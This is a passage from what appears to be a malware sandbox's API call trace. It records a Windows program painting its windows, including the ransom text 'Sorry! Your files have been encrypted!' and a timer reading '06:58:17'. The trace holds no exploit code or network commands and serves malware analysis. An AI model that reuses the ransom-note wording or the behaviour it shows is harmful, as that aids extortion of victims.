(lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0xf, wParam=0x0, lParam=0x0) [0176.566] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0176.566] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0176.567] GetClientRect (in: hWnd=0x8004e, lpRect=0x19ddac | out: lpRect=0x19ddac) returned 1 [0176.567] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0176.567] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd4c | out: lpRect=0x19dd4c) returned 1 [0176.567] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0176.568] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0176.568] BeginPaint (hWnd=0x2022c, lpPaint=0x19e8fc) [0176.568] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.569] GetClientRect (in: hWnd=0x2022c, lpRect=0x19e59c | out: lpRect=0x19e59c) returned 1 [0176.569] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0176.569] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.569] GetSystemMetrics (nIndex=42) returned 0 [0176.569] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e47c, nMaxCount=1 | out: lpString="") returned 0 [0176.569] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e47c) returned 0x0 [0176.569] GetClientRect (in: hWnd=0x2022c, lpRect=0x19e4a4 | out: lpRect=0x19e4a4) returned 1 [0176.569] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0176.569] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.569] EndPaint (hWnd=0x2022c, lpPaint=0x19e8f8) returned 1 [0176.569] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.569] IsWindowUnicode (hWnd=0x2022e) returned 1 [0176.569] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.570] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.570] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.570] BeginPaint (in: hWnd=0x2022e, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0176.570] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2022e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.570] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.570] GdipCreateFromHDC (hdc=0x17010728, graphics=0x19e8e4) returned 0x0 [0176.570] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.570] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=519, height=33, combineMode=0x0) returned 0x0 [0176.571] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0176.571] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6923a80) returned 0x0 [0176.571] GdipIsMatrixIdentity (matrix=0x6923a80, result=0x19e944) returned 0x0 [0176.571] GdipGetMatrixElements (matrix=0x6923a80, matrixOut=0xf75bb0) returned 0x0 [0176.571] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.571] GdipDeleteMatrix (matrix=0x6923a80) returned 0x0 [0176.571] GdipCreateRegion (region=0x19e92c) returned 0x0 [0176.571] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.571] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e938) returned 0x0 [0176.571] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.571] GetWindowTextLengthW (hWnd=0x2022e) returned 38 [0176.571] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2022e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x26 [0176.571] GetSystemMetrics (nIndex=42) returned 0 [0176.571] GetWindowTextW (in: hWnd=0x2022e, lpString=0x19e830, nMaxCount=39 | out: lpString="Sorry! Your files have been encrypted!") returned 38 [0176.571] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2022e, Msg=0xd, wParam=0x27, lParam=0x19e830) returned 0x26 [0176.571] GetClientRect (in: hWnd=0x2022e, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.571] GdipCreateRegion (region=0x19e780) returned 0x0 [0176.571] GdipGetClip (graphics=0x6926780, region=0x6926af0) returned 0x0 [0176.572] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.572] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.572] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.572] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.572] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.572] LocalFree (hMem=0xf75c20) returned 0x0 [0176.572] GdipCombineRegionRegion (region=0x6926af0, region2=0x6926a60, combineMode=0x1) returned 0x0 [0176.572] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0176.572] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0176.572] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.572] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.572] GdipIsInfiniteRegion (region=0x6926af0, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.572] GdipIsInfiniteRegion (region=0x6926af0, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.572] GdipGetRegionHRgn (region=0x6926af0, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.572] GdipDeleteRegion (region=0x6926af0) returned 0x0 [0176.572] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0176.572] GetCurrentObject (hdc=0x17010728, type=0x1) returned 0xb00017 [0176.572] GetCurrentObject (hdc=0x17010728, type=0x2) returned 0x900010 [0176.572] GetCurrentObject (hdc=0x17010728, type=0x7) returned 0x8050721 [0176.572] GetCurrentObject (hdc=0x17010728, type=0x6) returned 0x8a01c2 [0176.572] SaveDC (hdc=0x17010728) returned 1 [0176.573] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x300406fe [0176.573] GetClipRgn (hdc=0x17010728, hrgn=0x300406fe) returned 0 [0176.573] SelectClipRgn (hdc=0x17010728, hrgn=0x6904070e) returned 2 [0176.573] DeleteObject (ho=0x300406fe) returned 1 [0176.573] DeleteObject (ho=0x6904070e) returned 1 [0176.573] OffsetViewportOrgEx (in: hdc=0x17010728, x=0, y=0, lppt=0x308d594 | out: lppt=0x308d594) returned 1 [0176.573] GetNearestColor (hdc=0x17010728, color=0x323533) returned 0x323533 [0176.573] CreateSolidBrush (color=0x323533) returned 0x7810073a [0176.573] FillRect (hDC=0x17010728, lprc=0x19e7cc, hbr=0x7810073a) returned 1 [0176.573] DeleteObject (ho=0x7810073a) returned 1 [0176.573] RestoreDC (hdc=0x17010728, nSavedDC=-1) returned 1 [0176.573] GdipReleaseDC (graphics=0x6926780, hdc=0x17010728) returned 0x0 [0176.573] GdipRestoreGraphics (graphics=0x6926780, state=0xfcd40dbd) returned 0x0 [0176.573] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.573] GetWindowTextLengthW (hWnd=0x2022e) returned 38 [0176.573] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2022e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x26 [0176.573] GetSystemMetrics (nIndex=42) returned 0 [0176.573] GetWindowTextW (in: hWnd=0x2022e, lpString=0x19e830, nMaxCount=39 | out: lpString="Sorry! Your files have been encrypted!") returned 38 [0176.573] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2022e, Msg=0xd, wParam=0x27, lParam=0x19e830) returned 0x26 [0176.574] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.574] GetCurrentObject (hdc=0x17010728, type=0x1) returned 0xb00017 [0176.574] GetCurrentObject (hdc=0x17010728, type=0x2) returned 0x900010 [0176.574] GetCurrentObject (hdc=0x17010728, type=0x7) returned 0x8050721 [0176.574] GetCurrentObject (hdc=0x17010728, type=0x6) returned 0x8a01c2 [0176.574] SaveDC (hdc=0x17010728) returned 1 [0176.574] GetNearestColor (hdc=0x17010728, color=0xfdfdfa) returned 0xfdfdfa [0176.574] RestoreDC (hdc=0x17010728, nSavedDC=-1) returned 1 [0176.574] GdipReleaseDC (graphics=0x6926780, hdc=0x17010728) returned 0x0 [0176.574] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0176.575] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0176.575] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.575] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.575] GetCurrentObject (hdc=0x17010728, type=0x1) returned 0xb00017 [0176.575] GetCurrentObject (hdc=0x17010728, type=0x2) returned 0x900010 [0176.575] GetCurrentObject (hdc=0x17010728, type=0x7) returned 0x8050721 [0176.575] GetCurrentObject (hdc=0x17010728, type=0x6) returned 0x8a01c2 [0176.575] SaveDC (hdc=0x17010728) returned 1 [0176.575] GetTextAlign (hdc=0x17010728) returned 0x0 [0176.575] GetTextColor (hdc=0x17010728) returned 0x0 [0176.575] SetTextColor (hdc=0x17010728, color=0xfdfdfa) returned 0x0 [0176.575] GetCurrentObject (hdc=0x17010728, type=0x6) returned 0x8a01c2 [0176.575] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.575] SelectObject (hdc=0x17010728, h=0x450a062b) returned 0x8a01c2 [0176.575] GetBkMode (hdc=0x17010728) returned 2 [0176.575] SetBkMode (hdc=0x17010728, mode=1) returned 2 [0176.575] DrawTextExW (in: hdc=0x17010728, lpchText="Sorry! Your files have been encrypted!", cchText=38, lprc=0x19e708, format=0x100000, lpdtp=0x308dadc | out: lpchText="Sorry! Your files have been encrypted!", lprc=0x19e708) returned 33 [0176.576] RestoreDC (hdc=0x17010728, nSavedDC=-1) returned 1 [0176.576] GdipReleaseDC (graphics=0x6926780, hdc=0x17010728) returned 0x0 [0176.576] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.576] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=519, cy=33, hdcSrc=0x17010728, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.576] GdipReleaseDC (graphics=0x6926780, hdc=0x17010728) returned 0x0 [0176.576] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.576] SelectObject (hdc=0x17010728, h=0x85000f) returned 0x8050721 [0176.576] DeleteDC (hdc=0x17010728) returned 1 [0176.577] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.577] EndPaint (hWnd=0x2022e, lpPaint=0x19e8c8) returned 1 [0176.577] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.577] IsWindowUnicode (hWnd=0x20230) returned 1 [0176.577] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.577] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.577] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0176.577] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0176.577] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.578] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0176.578] GetClientRect (in: hWnd=0x2022c, lpRect=0x19e2ec | out: lpRect=0x19e2ec) returned 1 [0176.578] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0176.578] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.578] GetSystemMetrics (nIndex=42) returned 0 [0176.578] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e1cc, nMaxCount=1 | out: lpString="") returned 0 [0176.578] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e1cc) returned 0x0 [0176.578] GetClientRect (in: hWnd=0x2022c, lpRect=0x19e1f4 | out: lpRect=0x19e1f4) returned 1 [0176.578] GetCurrentObject (hdc=0x1001074b, type=0x1) returned 0xb00017 [0176.578] GetCurrentObject (hdc=0x1001074b, type=0x2) returned 0x900010 [0176.578] GetCurrentObject (hdc=0x1001074b, type=0x7) returned 0x3805074a [0176.588] GetCurrentObject (hdc=0x1001074b, type=0x6) returned 0x8a01c2 [0176.588] SaveDC (hdc=0x1001074b) returned 1 [0176.588] GetNearestColor (hdc=0x1001074b, color=0x323533) returned 0x323533 [0176.588] CreateSolidBrush (color=0x323533) returned 0x7910073a [0176.588] FillRect (hDC=0x1001074b, lprc=0x19e094, hbr=0x7910073a) returned 1 [0176.588] DeleteObject (ho=0x7910073a) returned 1 [0176.588] RestoreDC (hdc=0x1001074b, nSavedDC=-1) returned 1 [0176.588] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0176.588] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.589] GetSystemMetrics (nIndex=42) returned 0 [0176.589] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e16c, nMaxCount=1 | out: lpString="") returned 0 [0176.589] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e16c) returned 0x0 [0176.589] GetClientRect (in: hWnd=0x2022c, lpRect=0x19e194 | out: lpRect=0x19e194) returned 1 [0176.589] GetCurrentObject (hdc=0x1001074b, type=0x1) returned 0xb00017 [0176.589] GetCurrentObject (hdc=0x1001074b, type=0x2) returned 0x900010 [0176.589] GetCurrentObject (hdc=0x1001074b, type=0x7) returned 0x3805074a [0176.589] GetCurrentObject (hdc=0x1001074b, type=0x6) returned 0x8a01c2 [0176.589] SaveDC (hdc=0x1001074b) returned 1 [0176.589] GetNearestColor (hdc=0x1001074b, color=0x323533) returned 0x323533 [0176.589] CreateSolidBrush (color=0x323533) returned 0x7a10073a [0176.589] FillRect (hDC=0x1001074b, lprc=0x19e034, hbr=0x7a10073a) returned 1 [0176.589] DeleteObject (ho=0x7a10073a) returned 1 [0176.589] RestoreDC (hdc=0x1001074b, nSavedDC=-1) returned 1 [0176.589] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0176.589] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.589] GetSystemMetrics (nIndex=42) returned 0 [0176.589] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e16c, nMaxCount=1 | out: lpString="") returned 0 [0176.589] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e16c) returned 0x0 [0176.592] SetTextColor (hdc=0x1001074b, color=0x0) returned 0x0 [0176.592] SetBkColor (hdc=0x1001074b, color=0xffffff) returned 0xffffff [0176.592] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.592] IsWindowUnicode (hWnd=0x20234) returned 1 [0176.592] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.592] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.592] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0176.593] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20234, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0176.593] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20234, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.593] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20234, Msg=0x14, wParam=0x10105d6, lParam=0x0) returned 0x1 [0176.593] SetTextColor (hdc=0x1101074b, color=0x0) returned 0x0 [0176.593] SetBkColor (hdc=0x1101074b, color=0xffffff) returned 0xffffff [0176.594] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.594] IsWindowUnicode (hWnd=0x20236) returned 1 [0176.594] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.594] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.595] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.595] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0176.595] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.595] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.595] CreateCompatibleDC (hdc=0x60100ce) returned 0x7a010724 [0176.595] SelectObject (hdc=0x7a010724, h=0x8050721) returned 0x85000f [0176.596] GdipCreateFromHDC (hdc=0x7a010724, graphics=0x19e8e4) returned 0x0 [0176.596] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.596] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0176.596] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0176.596] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6923a80) returned 0x0 [0176.596] GdipIsMatrixIdentity (matrix=0x6923a80, result=0x19e944) returned 0x0 [0176.596] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0176.596] GdipGetMatrixElements (matrix=0x6923a80, matrixOut=0xf75bb0) returned 0x0 [0176.596] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.596] GdipDeleteMatrix (matrix=0x6923a80) returned 0x0 [0176.596] GdipCreateRegion (region=0x19e92c) returned 0x0 [0176.596] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.596] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e938) returned 0x0 [0176.596] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.596] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0176.596] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0176.597] GetSystemMetrics (nIndex=42) returned 0 [0176.597] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:17") returned 8 [0176.597] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0176.597] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.597] GdipCreateRegion (region=0x19e780) returned 0x0 [0176.597] GdipGetClip (graphics=0x6926780, region=0x6926af0) returned 0x0 [0176.597] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.597] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.597] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.597] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.597] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.597] LocalFree (hMem=0xf75c20) returned 0x0 [0176.597] GdipCombineRegionRegion (region=0x6926af0, region2=0x6926a60, combineMode=0x1) returned 0x0 [0176.597] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.597] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.597] LocalFree (hMem=0xf75c20) returned 0x0 [0176.597] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.597] GdipIsInfiniteRegion (region=0x6926af0, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.597] GdipIsInfiniteRegion (region=0x6926af0, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.597] GdipGetRegionHRgn (region=0x6926af0, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.597] GdipDeleteRegion (region=0x6926af0) returned 0x0 [0176.597] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0176.598] GetCurrentObject (hdc=0x7a010724, type=0x1) returned 0xb00017 [0176.598] GetCurrentObject (hdc=0x7a010724, type=0x2) returned 0x900010 [0176.598] GetCurrentObject (hdc=0x7a010724, type=0x7) returned 0x8050721 [0176.598] GetCurrentObject (hdc=0x7a010724, type=0x6) returned 0x8a01c2 [0176.598] SaveDC (hdc=0x7a010724) returned 1 [0176.598] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6c04070e [0176.598] GetClipRgn (hdc=0x7a010724, hrgn=0x6c04070e) returned 0 [0176.598] SelectClipRgn (hdc=0x7a010724, hrgn=0x350406fe) returned 2 [0176.598] DeleteObject (ho=0x6c04070e) returned 1 [0176.598] DeleteObject (ho=0x350406fe) returned 1 [0176.598] OffsetViewportOrgEx (in: hdc=0x7a010724, x=0, y=0, lppt=0x308e284 | out: lppt=0x308e284) returned 1 [0176.598] GetNearestColor (hdc=0x7a010724, color=0x22a3f8) returned 0x22a3f8 [0176.598] CreateSolidBrush (color=0x22a3f8) returned 0x7b10073a [0176.598] FillRect (hDC=0x7a010724, lprc=0x19e7cc, hbr=0x7b10073a) returned 1 [0176.598] DeleteObject (ho=0x7b10073a) returned 1 [0176.598] RestoreDC (hdc=0x7a010724, nSavedDC=-1) returned 1 [0176.598] GdipReleaseDC (graphics=0x6926780, hdc=0x7a010724) returned 0x0 [0176.598] GdipRestoreGraphics (graphics=0x6926780, state=0xfcd20dbd) returned 0x0 [0176.599] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.599] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0176.599] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0176.599] GetSystemMetrics (nIndex=42) returned 0 [0176.599] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:17") returned 8 [0176.599] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0176.599] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.599] GetCurrentObject (hdc=0x7a010724, type=0x1) returned 0xb00017 [0176.599] GetCurrentObject (hdc=0x7a010724, type=0x2) returned 0x900010 [0176.599] GetCurrentObject (hdc=0x7a010724, type=0x7) returned 0x8050721 [0176.599] GetCurrentObject (hdc=0x7a010724, type=0x6) returned 0x8a01c2 [0176.599] SaveDC (hdc=0x7a010724) returned 1 [0176.599] GetNearestColor (hdc=0x7a010724, color=0x0) returned 0x0 [0176.599] RestoreDC (hdc=0x7a010724, nSavedDC=-1) returned 1 [0176.599] GdipReleaseDC (graphics=0x6926780, hdc=0x7a010724) returned 0x0 [0176.600] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0176.600] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0176.600] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.600] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.600] GetCurrentObject (hdc=0x7a010724, type=0x1) returned 0xb00017 [0176.600] GetCurrentObject (hdc=0x7a010724, type=0x2) returned 0x900010 [0176.600] GetCurrentObject (hdc=0x7a010724, type=0x7) returned 0x8050721 [0176.600] GetCurrentObject (hdc=0x7a010724, type=0x6) returned 0x8a01c2 [0176.600] SaveDC (hdc=0x7a010724) returned 1 [0176.600] GetTextAlign (hdc=0x7a010724) returned 0x0 [0176.600] GetTextColor (hdc=0x7a010724) returned 0x0 [0176.600] GetCurrentObject (hdc=0x7a010724, type=0x6) returned 0x8a01c2 [0176.600] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.600] SelectObject (hdc=0x7a010724, h=0x4f0a0711) returned 0x8a01c2 [0176.601] GetBkMode (hdc=0x7a010724) returned 2 [0176.601] SetBkMode (hdc=0x7a010724, mode=1) returned 2 [0176.601] DrawTextExW (in: hdc=0x7a010724, lpchText="06:58:17", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x308e718 | out: lpchText="06:58:17", lprc=0x19e708) returned 50 [0176.601] RestoreDC (hdc=0x7a010724, nSavedDC=-1) returned 1 [0176.601] GdipReleaseDC (graphics=0x6926780, hdc=0x7a010724) returned 0x0 [0176.601] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.601] BitBlt (hdc=0x60100ce, x=0, y=0, cx=154, cy=50, hdcSrc=0x7a010724, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.601] GdipReleaseDC (graphics=0x6926780, hdc=0x7a010724) returned 0x0 [0176.601] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.601] SelectObject (hdc=0x7a010724, h=0x85000f) returned 0x8050721 [0176.602] DeleteDC (hdc=0x7a010724) returned 1 [0176.602] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.602] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0176.602] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.602] IsWindowUnicode (hWnd=0x20238) returned 1 [0176.602] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.602] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.602] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.602] BeginPaint (in: hWnd=0x20238, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0176.602] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.603] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.603] CreateCompatibleDC (hdc=0x10105d6) returned 0x7d010724 [0176.603] SelectObject (hdc=0x7d010724, h=0x8050721) returned 0x85000f [0176.603] GdipCreateFromHDC (hdc=0x7d010724, graphics=0x19e8e4) returned 0x0 [0176.603] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.603] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=120, height=33, combineMode=0x0) returned 0x0 [0176.603] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0176.603] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6923a80) returned 0x0 [0176.603] GdipIsMatrixIdentity (matrix=0x6923a80, result=0x19e944) returned 0x0 [0176.603] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0176.603] GdipGetMatrixElements (matrix=0x6923a80, matrixOut=0xf75bb0) returned 0x0 [0176.603] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.603] GdipDeleteMatrix (matrix=0x6923a80) returned 0x0 [0176.603] GdipCreateRegion (region=0x19e92c) returned 0x0 [0176.603] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.603] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e938) returned 0x0 [0176.603] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.603] GetWindowTextLengthW (hWnd=0x20238) returned 6 [0176.604] 